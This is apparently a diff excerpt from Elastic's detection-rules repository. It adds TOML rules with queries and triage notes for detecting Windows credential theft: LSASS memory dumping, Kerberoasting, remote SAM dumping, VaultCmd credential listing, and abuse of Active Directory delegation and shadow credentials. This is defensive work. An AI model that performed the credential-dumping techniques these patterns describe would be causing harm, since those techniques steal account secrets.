[[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1003/001/" + id = "T1003.001" + name = "LSASS Memory" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0006/" +id = "TA0006" +name = "Credential Access" + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/credential_access_posh_request_ticket.toml b/rules/windows/credential_access_posh_request_ticket.toml new file mode 100644 index 000000000..35c48b242 --- /dev/null +++ b/rules/windows/credential_access_posh_request_ticket.toml @@ -0,0 +1,113 @@ +[metadata] +creation_date = "2022/01/24" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects PowerShell scripts that have the capability of requesting kerberos tickets, which is a common step in +Kerberoasting toolkits to crack service accounts. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell Kerberos Ticket Request" +note = """## Triage and analysis + +### Investigating Explicit PowerShell Kerberos Ticket Request + +PowerShell is one of the main tools system administrators use for automation, report routines, and other tasks, making +it available for use in various environments, creating an attractive way for attackers to execute code. + +Accounts associated with a service principal name (SPN) are viable targets for Kerberoasting attacks, which use brute +force to crack the user password, which is used to encrypt a Kerberos TGS ticket. + +Attackers can use PowerShell to request these Kerberos tickets, with the intent of extracting them from memory to +perform Kerberoasting. + +#### Possible investigation steps + +- Retrieve the script contents. +- Investigate the script execution chain (parent process tree). +- Investigate if the script was executed, and if so, which account was targeted. +- Check whether this user should be doing this kind of activity. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if the script has any other functionality that can be potentially malicious. +- Investigate other alerts related to the host and user in the last 48 hours. +- Review event ID [4769](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769) +related to this account and service name for additional information. + +### False positive analysis + +- A possible false positive can be identified if the script content is not malicious/harmful or does not request +Kerberos tickets for user accounts, as computer accounts are not vulnerable to Kerberoasting due to complex password +requirements and policy. + +### Response and remediation + +- Initiate the incident response process based on the outcome of the triage. +- Reset the password of the involved accounts. Priority should be given to privileged accounts. +- Quarantine the involved host for forensic investigation, as well as eradication and recovery activities. +""" +references = [ + "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", +] +risk_score = 47 +rule_id = "eb610e70-f9e6-4949-82b9-f1c5bcd37c39" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and + powershell.file.script_block_text : ( + KerberosRequestorSecurityToken + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + [[rule.threat.technique.subtechnique]] + id = "T1558.003" + name = "Kerberoasting" + reference = "https://attack.mitre.org/techniques/T1558/003/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1059" +name = "Command and Scripting Interpreter" +reference = "https://attack.mitre.org/techniques/T1059/" + + [[rule.threat.technique.subtechnique]] + id = "T1059.001" + name = "PowerShell" + reference = "https://attack.mitre.org/techniques/T1059/001/" + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/credential_access_potential_lsa_memdump_via_mirrordump.toml b/rules/windows/credential_access_potential_lsa_memdump_via_mirrordump.toml new file mode 100644 index 000000000..194fdc204 --- /dev/null +++ b/rules/windows/credential_access_potential_lsa_memdump_via_mirrordump.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/09/27" +maturity = "production" +updated_date = "2021/09/27" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious access to an LSASS handle via DuplicateHandle from an unknown call trace module. +This may indicate an attempt to bypass the NtOpenProcess API to evade detection and dump LSASS memory +for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Credential Access via DuplicateHandle in LSASS" +references = ["https://github.com/CCob/MirrorDump"] +risk_score = 47 +rule_id = "02a4576a-7480-4284-9327-548a806b5e48" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.code == "10" and + + /* LSASS requesting DuplicateHandle access right to another process */ + process.name : "lsass.exe" and winlog.event_data.GrantedAccess == "0x40" and + + /* call is coming from an unknown executable region */ + winlog.event_data.CallTrace : "*UNKNOWN*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "LSASS Memory" + id = "T1003.001" + reference = "https://attack.mitre.org/techniques/T1003/001/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/windows/credential_access_remote_sam_secretsdump.toml b/rules/windows/credential_access_remote_sam_secretsdump.toml new file mode 100644 index 000000000..5543bd875 --- /dev/null +++ b/rules/windows/credential_access_remote_sam_secretsdump.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2022/03/01" +maturity = "production" +min_stack_comments = "The field `file.Ext.header_bytes` was not introduced until 7.15" +min_stack_version = "7.15.0" +updated_date = "2022/03/01" + +[rule] +author = ["Elastic"] +description = """ +Identifies remote access to the registry to potentially dump credential data from the SAM registry hive in preparation +for credential access and privileges elevation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Remote Credential Access via Registry" +note = """## Config + +This rule uses Elastic Endpoint file creation and System Integration events for correlation. Both data should be +collected from the host for this detection to work. +""" +references = ["https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py"] +risk_score = 73 +rule_id = "850d901a-2a3c-46c6-8b22-55398a01aad8" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id, user.id with maxspan=1m + [authentication where + event.outcome == "success" and + winlog.logon.type == "Network" and not user.name == "ANONYMOUS LOGON" and + not user.domain == "NT AUTHORITY" and source.ip != "127.0.0.1" and source.ip !="::1"] + [file where event.action == "creation" and process.name : "svchost.exe" and + file.Ext.header_bytes : "72656766*" and user.id : "S-1-5-21-*" and file.size >= 30000] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "OS Credential Dumping" +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +name = "Security Account Manager" +id = "T1003.002" +reference = "https://attack.mitre.org/techniques/T1003/002/" + + + +[rule.threat.tactic] +name = "Credential Access" +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Remote Services" +id = "T1021" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +name = "Lateral Movement" +id = "TA0008" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/windows/credential_access_saved_creds_vaultcmd.toml b/rules/windows/credential_access_saved_creds_vaultcmd.toml new file mode 100644 index 000000000..03c38190f --- /dev/null +++ b/rules/windows/credential_access_saved_creds_vaultcmd.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected +applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for +saved usernames and passwords. This may also be performed in preparation of lateral movement. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Searching for Saved Credentials via VaultCmd" +references = [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://rastamouse.me/blog/rdp-jump-boxes/", +] +risk_score = 47 +rule_id = "be8afaed-4bcd-4e0a-b5f9-5562003dde81" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.pe.original_file_name:"vaultcmd.exe" or process.name:"vaultcmd.exe") and + process.args:"/list*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.004" +name = "Windows Credential Manager" +reference = "https://attack.mitre.org/techniques/T1555/004/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_seenabledelegationprivilege_assigned_to_user.toml b/rules/windows/credential_access_seenabledelegationprivilege_assigned_to_user.toml new file mode 100644 index 000000000..b898ac89e --- /dev/null +++ b/rules/windows/credential_access_seenabledelegationprivilege_assigned_to_user.toml @@ -0,0 +1,111 @@ +[metadata] +creation_date = "2022/01/27" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The +SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can +abuse this right to compromise Active Directory accounts and elevate their privileges. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Sensitive Privilege SeEnableDelegationPrivilege assigned to a User" +note = """## Triage and analysis + +### Investigating Sensitive Privilege SeEnableDelegationPrivilege assigned to a User + +Kerberos delegation is an Active Directory feature that allows user and computer accounts to impersonate other accounts, +act on their behalf, and use their privileges. Delegation (constrained and unconstrained) can be configured +for user and computer objects. + +Enabling unconstrained delegation for a computer causes the computer to store the ticket-granting ticket +(TGT) in memory at any time an account connects to the computer, so it can be used by the computer for impersonation +when needed. Risk is heightened if an attacker compromises computers with unconstrained delegation enabled, as they +could extract TGTs from memory and then replay them to move laterally on the domain. If the attacker coerces a privileged +user to connect to the server, or if the user does so routinely, the account will be compromised and the attacker will +be able to pass-the-ticket to privileged assets. + +SeEnableDelegationPrivilege is a user right that is controlled within the Local Security Policy of a domain controller +and is managed through Group Policy. This setting is named **Enable computer and user accounts to be trusted for +delegation**. + +It is critical to control the assignment of this privilege. A user with this privilege and write access to a computer +can control delegation settings, perform the attacks described above, and harvest TGTs from any user that connects to +the system. + +#### Possible investigation steps + +- Investigate how the privilege was assigned to the user and who assigned it. +- Investigate other potentially malicious activity that was performed by the user that assigned the privileges using the +`user.id` and `winlog.activity_id` fields as a filter during the past 48 hours. +- Investigate other alerts associated with the involved accounts during the past 48 hours. + +### False positive analysis + +- The SeEnableDelegationPrivilege privilege should not be assigned to users. If this rule is triggered in your +environment legitimately, the security team should notify the administrators about the risks of using it. + +### Related rules + +- KRBTGT Delegation Backdoor - e052c845-48d0-4f46-8a13-7d0aba05df82 + +### Response and remediation + +- Immediate response should be taken to validate, investigate, and potentially contain the activity to prevent further +post-compromise behavior. + +## Config + +The 'Audit Authorization Policy Change' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Windows Settings > +Security Settings > +Advanced Audit Policy Configuration > +Audit Policies > +Policy Change > +Audit Authorization Policy Change (Success,Failure) +``` +""" +references = [ + "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_alert_active_directory_user_control.yml", + "https://twitter.com/_nwodtuhs/status/1454049485080907776", + "https://www.thehacker.recipes/ad/movement/kerberos/delegations", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0105_windows_audit_authorization_policy_change.md", +] +risk_score = 73 +rule_id = "f494c678-3c33-43aa-b169-bb3d5198c41d" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action: "Authorization Policy Change" and event.code:4704 and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +id = "TA0006" + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +id = "TA0003" + diff --git a/rules/windows/credential_access_shadow_credentials.toml b/rules/windows/credential_access_shadow_credentials.toml new file mode 100644 index 000000000..ec3475615 --- /dev/null +++ b/rules/windows/credential_access_shadow_credentials.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2022/01/26" +maturity = "production" +updated_date = "2022/01/31" + +[rule] +author = ["Elastic"] +description = """ +Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. +Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain +persistent and stealthy access to the target user or computer object. +""" +false_positives = [ + """ + Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect + synchronization account or the ADFS service account. These accounts can be added as Exceptions. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Shadow Credentials added to AD Object" +note = """## Config + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover User objects, so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule. +As this specifies the msDS-KeyCredentialLink Attribute GUID, it is expected to be low noise. + +``` +Set-AuditRule -AdObjectPath 'AD:\\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 -AuditFlags Success +``` +""" +references = [ + "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab", + "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials", + "https://github.com/OTRF/Set-AuditRule", +] +risk_score = 73 +rule_id = "79f97b31-480e-4e63-a7f4-ede42bf2c6de" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:"Directory Service Changes" and event.code:"5136" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Modify Authentication Process" +id = "T1556" +reference = "https://attack.mitre.org/techniques/T1556/" + + +[rule.threat.tactic] +name = "Credential Access" +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_spn_attribute_modified.toml b/rules/windows/credential_access_spn_attribute_modified.toml new file mode 100644 index 000000000..c645a1615 --- /dev/null +++ b/rules/windows/credential_access_spn_attribute_modified.toml @@ -0,0 +1,125 @@ +[metadata] +creation_date = "2022/02/22" +maturity = "production" +updated_date = "2022/02/22" + +[rule] +author = ["Elastic"] +description = """ +Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a +user to configure SPNs so that they can perform Kerberoasting. Administrators can also configure this for legitimate +purposes, exposing the account to Kerberoasting. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "User account exposed to Kerberoasting" +note = """## Triage and analysis. + +### Investigating User account exposed to Kerberoasting + +Service principal names (SPNs) is the name by which a Kerberos client uniquely identifies an instance of a service for a +given Kerberos target computer. + +By default, only computer accounts have SPNs, and there is no significant risk about this, as machine accounts have a +default domain policy that configures these accounts to rotate their passwords every 30 days, and the password is +compound of 120 random characters, making them not to be vulnerable to Kerberoasting. + +So, a user account with an SPN assigned is considered a Service Account, making it available to be accessed by the +entire domain. If any user in the directory requests a TGS, the domain controller will encrypt it with the secret key of +the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as +the human-defined password is more likely to be less complex. + +For scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) +feature, which ensures that the account password is robust and changed regularly and automatically. More information can +be found [here](https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview). + +Attackers can also perform "Targeted Kerberoasting", which consists of adding fake SPNs to user accounts that they have +write privileges to, making them potentially vulnerable to Kerberoasting. + +#### Possible investigation steps: + +- Identify the account that performed the action. +- Check whether this user should be doing this kind of activity. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate if the target account is a member of Privileged groups (Domain Admins, Enterprise Admins, etc). +- Investigate if tickets have been requested for the target account. +- Investigate other alerts related to the user in the last 48 hours. + +### False Positive Analysis + +- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The +security team should map and monitor any potential B-TP (Benign True Positive), especially if the account is privileged. +Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same +security standards (Long, complex, random passwords that change frequently) as computer accounts, exposing them to +credential cracking attacks (Kerberoasting, brute force, etc.). + +### Response and Remediation + +- Initiate the incident response process based on the outcome of the triage +- Reset the password of the involved accounts. Priority should be given to privileged accounts. +- Quarantine the involved host for forensic investigation, as well as eradication and recovery activities. + +## Config + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +The above policy does not cover User objects, so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule. +As this specifies the servicePrincipalName Attribute GUID, it is expected to be low noise. + +``` +Set-AuditRule -AdObjectPath 'AD:\\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID f3a64788-5306-11d1-a9c5-0000f80367c1 -AuditFlags Success +``` +""" +references = [ + "https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting", + "https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/", + "https://www.thehacker.recipes/ad/movement/kerberos/kerberoast", + "https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting", + "https://adsecurity.org/?p=280", + "https://github.com/OTRF/Set-AuditRule", +] +risk_score = 73 +rule_id = "0b2f3da5-b5ec-47d1-908b-6ebb74814289" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:"Directory Service Changes" and event.code:5136 and winlog.event_data.ObjectClass:"user" +and winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + [[rule.threat.technique.subtechnique]] + name = "Kerberoasting" + id = "T1558.003" + reference = "https://attack.mitre.org/techniques/T1558/003/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_suspicious_comsvcs_imageload.toml b/rules/windows/credential_access_suspicious_comsvcs_imageload.toml new file mode 100644 index 000000000..9c78e2c18 --- /dev/null +++ b/rules/windows/credential_access_suspicious_comsvcs_imageload.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2021/10/17" +updated_date = "2022/02/16" +maturity = "production" + + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious renamed COMSVCS.DLL Image Load, which exports the MiniDump function that can be used to dump a +process memory. This may indicate an attempt to dump LSASS memory while bypassing command-line based detection in +preparation for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Credential Access via Renamed COM+ Services DLL" +note = """## Config + +You will need to enable logging of ImageLoads in your Sysmon configuration to include COMSVCS.DLL by Imphash or Original +File Name.""" +references = ["https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/"] +risk_score = 73 +rule_id = "c5c9f591-d111-4cf8-baec-c26a39bc31ef" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by process.entity_id with maxspan=1m + [process where event.category == "process" and + process.name : "rundll32.exe"] + [process where event.category == "process" and event.dataset : "windows.sysmon_operational" and event.code == "7" and + (file.pe.original_file_name : "COMSVCS.DLL" or file.pe.imphash : "EADBCCBB324829ACB5F2BBE87E5549A8") and + /* renamed COMSVCS */ + not file.name : "COMSVCS.DLL"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1003/" +id = "T1003" +name = "OS Credential Dumping" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1003/001/" +id = "T1003.001" +name = "LSASS Memory" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0006/" +id = "TA0006" +name = "Credential Access" + diff --git a/rules/windows/credential_access_suspicious_lsass_access_memdump.toml b/rules/windows/credential_access_suspicious_lsass_access_memdump.toml new file mode 100644 index 000000000..80b7973c1 --- /dev/null +++ b/rules/windows/credential_access_suspicious_lsass_access_memdump.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/10/07" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious access to LSASS handle from a call trace pointing to DBGHelp.dll or DBGCore.dll, which both export +the MiniDumpWriteDump method that can be used to dump LSASS memory content in preparation for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Credential Access via LSASS Memory Dump" +references = ["https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz"] +risk_score = 73 +rule_id = "9960432d-9b26-409f-972b-839a959e79e2" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.code == "10" and + winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe" and + + /* DLLs exporting MiniDumpWriteDump API to create an lsass mdmp*/ + winlog.event_data.CallTrace : ("*dbghelp*", "*dbgcore*") and + + /* case of lsass crashing */ + not process.executable : ("?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\System32\\WerFaultSecure.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "LSASS Memory" + id = "T1003.001" + reference = "https://attack.mitre.org/techniques/T1003/001/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/windows/credential_access_suspicious_lsass_access_via_snapshot.toml b/rules/windows/credential_access_suspicious_lsass_access_via_snapshot.toml new file mode 100644 index 000000000..f0b9bb07e --- /dev/null +++ b/rules/windows/credential_access_suspicious_lsass_access_via_snapshot.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2021/10/14" +updated_date = "2022/02/28" +maturity = "production" +min_stack_version = "7.14.0" +min_stack_comments = "Cardinality field not added to threshold rule type until 7.14." + + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious access to an LSASS handle via PssCaptureSnapShot where two successive process accesses are performed +by the same process and target two different instances of LSASS. This may indicate an attempt to evade detection and +dump LSASS memory for credential access. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential LSASS Memory Dump via PssCaptureSnapShot" +note = """## Config + +This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the threshold +rule cardinality feature.""" +references = [ + "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", + "https://twitter.com/sbousseaden/status/1280619931516747777?lang=en", +] +risk_score = 73 +rule_id = "0f93cb9a-1931-48c2-8cd0-f173fd3e5283" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "threshold" + +query = ''' +event.category:process and event.code:10 and + winlog.event_data.TargetImage:("C:\\Windows\\system32\\lsass.exe" or + "c:\\Windows\\system32\\lsass.exe" or + "c:\\Windows\\System32\\lsass.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "OS Credential Dumping" +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +name = "LSASS Memory" +id = "T1003.001" +reference = "https://attack.mitre.org/techniques/T1003/001/" + + + +[rule.threat.tactic] +name = "Credential Access" +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["process.entity_id"] +value = 2 +[[rule.threshold.cardinality]] +field = "winlog.event_data.TargetProcessId" +value = 2 + + diff --git a/rules/windows/credential_access_suspicious_winreg_access_via_sebackup_priv.toml b/rules/windows/credential_access_suspicious_winreg_access_via_sebackup_priv.toml new file mode 100644 index 000000000..bacd4eae5 --- /dev/null +++ b/rules/windows/credential_access_suspicious_winreg_access_via_sebackup_priv.toml @@ -0,0 +1,94 @@ +[metadata] +creation_date = "2022/02/16" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies remote access to the registry via an account with Backup Operators group membership. This may indicate an +attempt to exfiltrate credentials via dumping the SAM registry hive in preparation for credential access and privileges +elevation. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Remote Registry Access via SeBackupPrivilege" +note = """## Config + +The 'Audit Detailed File Share' audit policy is required be configured (Success) on Domain Controllers and Sensitive Windows Servers. +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success) +``` + +The 'Special Logon' audit policy must be configured (Success). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Logon/Logoff > +Special Logon (Success) +``` +""" +references = [ + "https://github.com/mpgn/BackupOperatorToDA", + "https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp", +] +risk_score = 47 +rule_id = "47e22836-4a16-4b35-beee-98f6c4ee9bf2" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id, winlog.event_data.SubjectLogonId with maxspan=1m + [iam where event.action == "logged-in-special" and + winlog.event_data.PrivilegeList : "SeBackupPrivilege"] + [any where event.action == "Detailed File Share" and winlog.event_data.RelativeTargetName : "winreg"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "OS Credential Dumping" +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +name = "Security Account Manager" +id = "T1003.002" +reference = "https://attack.mitre.org/techniques/T1003/002/" + + + +[rule.threat.tactic] +name = "Credential Access" +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +name = "Remote Services" +id = "T1021" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +name = "Lateral Movement" +id = "TA0008" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/credential_access_symbolic_link_to_shadow_copy_created.toml b/rules/windows/credential_access_symbolic_link_to_shadow_copy_created.toml new file mode 100644 index 000000000..69aaf9e7e --- /dev/null +++ b/rules/windows/credential_access_symbolic_link_to_shadow_copy_created.toml @@ -0,0 +1,102 @@ +[metadata] +creation_date = 